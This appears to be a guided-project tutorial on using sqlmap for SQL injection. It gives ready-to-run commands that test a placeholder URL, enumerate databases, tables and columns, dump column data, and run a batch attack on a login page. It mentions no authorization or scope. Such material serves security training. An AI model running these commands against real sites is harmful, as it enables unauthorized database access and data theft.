Bytexl Guided project

Step 1: Install SQLmap

1. **Check if SQLmap is installed** on your system by typing:

```
sqlmap --version
```

2. If it’s not installed, **install SQLmap**:•

On **Debian/Ubuntu**:

```
sudo apt update
sudo apt install sqlmap
```

On **Windows**, download from sqlmap.org.

Step 2: Identify a Vulnerable URL

1. **Find a URL with parameters** where SQL Injection might be possible, such as

http://example.com/page?id=1

You can often find potential injection points in query strings (e.g., ?id=1) or form submissions.

Step 3: Run Basic SQLmap Command

1. **Run SQLmap on the identified URL** to test for SQL injection vulnerabilities

```
sqlmap -u "http://example.com/page?id=1"
```

Analyze the results to see if SQLmap identifies a vulnerability.

Step 4: Enumerate the Database (if Vulnerable)

1. **Extract the Database Names**

If SQLmap detects a vulnerability, run the following command to **enumerate database names**:

```
sqlmap -u "http://example.com/page?id=1" --dbs
```

- SQLmap will display a list of databases if it finds any.

2. **Choose a Database and List Tables**
Once you have the list of databases, choose one to investigate:

```
sqlmap -u "http://example.com/page?id=1" -D <database_name> --tables
```

3. **Choose a Table and List Columns**
Once you have the list of tables, select one to view the columns:

```
sqlmap -u "http://example.com/page?id=1" -D <database_name> -T <table_name> --columns
```

4. **Extract Data from a Table**
Finally, extract data from specific columns of interest:

```
sqlmap -u "http://example.com/page?id=1" -D <database_name> -T <table_name> -C <column1,column2> --dump
```

his command will display the data stored in the specified columns.

Step 5: Automate Authentication Bypass (Optional)

If you know the login URL is vulnerable to SQL injection, SQLmap can help automate the process.

1. Use --batch to bypass prompts for testing purposes, but use it carefully

```
sqlmap -u "http://example.com/login" --batch
```

Step 6: Save Output to a File

1. **Log the Output**
Save SQLmap’s output for reporting

```
sqlmap -u "http://example.com/page?id=1" --dump --output-dir=/path/to/directory
```

2. **Review the Results**
Access and analyze the output file created in the specified directory.